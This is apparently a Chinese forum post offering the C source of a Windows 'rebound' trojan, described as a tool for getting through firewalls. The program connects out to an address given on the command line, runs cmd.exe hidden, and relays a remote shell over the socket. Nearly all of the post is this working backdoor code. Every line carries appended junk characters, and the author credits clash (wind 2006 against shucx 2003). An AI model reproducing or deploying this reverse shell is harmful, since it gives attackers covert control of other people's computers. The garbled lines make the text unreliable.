这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 N8nyTPw
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/* ============================== EkTen:{G
Rebound port in Windows NT P, S9gG9
By wind,2006/7 ~*2PmD"+:
===============================*/ }.T$bj1B;V
#include 8{d`N|k
#include T-5T`awf
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#pragma comment(lib,"wsock32.lib") wkd591d*
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void OutputShell(); ;G},xDGO_m
SOCKET sClient; p.l]%\QI
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; PDpIU.=!0
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void main(int argc,char **argv)
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{ [Cr_2
WSADATA stWsaData; I1}{7-_t
int nRet; %@BQv4oJ
SOCKADDR_IN stSaiClient,stSaiServer; FG8bP
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if(argc != 3) o[cKh7&+
{ -rH3rKtf~
printf("Useage:\n\rRebound DestIP DestPort\n"); WO}JIExy
return; 1":{$A?OB
} C ch1"j<k$
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2r*
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WVo%'DtF`
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stSaiClient.sin_family = AF_INET; L)w& f
stSaiClient.sin_port = htons(0); ~F' $p
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \!YPht
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2nEj
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{ FlkAo]
printf("Bind Socket Failed!\n"); |r
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return; dmF<J>[
} O~t5qnu/}
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stSaiServer.sin_family = AF_INET; ^lQ-w|7(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); B2,!
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b(XhwkGVq
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,*%8*]<=
{ ;yUY|o
printf("Connect Error!"); <`N\FM^vo
return; NGxii$F
} f0^s*V+
OutputShell(); &Owt:R)9~
} 5T;_k'qe
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void OutputShell() 6%yr>BFtVV
{ ]XP[tLYY
char szBuff[1024]; vG
SECURITY_ATTRIBUTES stSecurityAttributes; {{
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OSVERSIONINFO stOsversionInfo; MK"Yt<e(o
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Y{J/Oib
STARTUPINFO stStartupInfo; }$UuYO/i
char *szShell; <4!w2vxG
PROCESS_INFORMATION stProcessInformation; @FbzKHdV/
unsigned long lBytesRead; Az.Y-O<$\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0dgR;Dl(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M!I:$DZt
stSecurityAttributes.lpSecurityDescriptor = 0; fIBLJ53
stSecurityAttributes.bInheritHandle = TRUE; cJhf{{_oR
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (Bmjz*%M
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )v|a:'%K_
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #~#_)\l'F
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nxH$$}9
stStartupInfo.wShowWindow = SW_HIDE; 4bJ3uIP#
stStartupInfo.hStdInput = hReadPipe; I&cb5j]C
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (te\!$
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GetVersionEx(&stOsversionInfo); YqDw*S{
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switch(stOsversionInfo.dwPlatformId) Dgkt-:S/T|
{ P,v}Au( UI
case 1: 7C 4Njei"
szShell = "command.com"; Np=*B_ @8
break; %`}Qkb/Lyh
default: wIY#TBu
szShell = "cmd.exe"; !W3Le$aL
break; oF*Y$OEu?c
} fqr}tvMr=T
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Et- .[
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send(sClient,szMsg,77,0); (Ux%7H_d
while(1) $ &^
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{ yx}:Sgv%
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lRO8}XSI
if(lBytesRead) oS`F Yy
{ D{8V^%{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .&[nS<~`
send(sClient,szBuff,lBytesRead,0); L?Lp``%bI7
} MP3E]T~:
else leD?yyjw7
{ Bf-&[ 5N}
lBytesRead=recv(sClient,szBuff,1024,0); ct]5\g?U'
if(lBytesRead<=0) break; Y] n^(V
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4+W}TKw
} G_o/ lIz"
} Onc!5L
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return; SOUA,4
}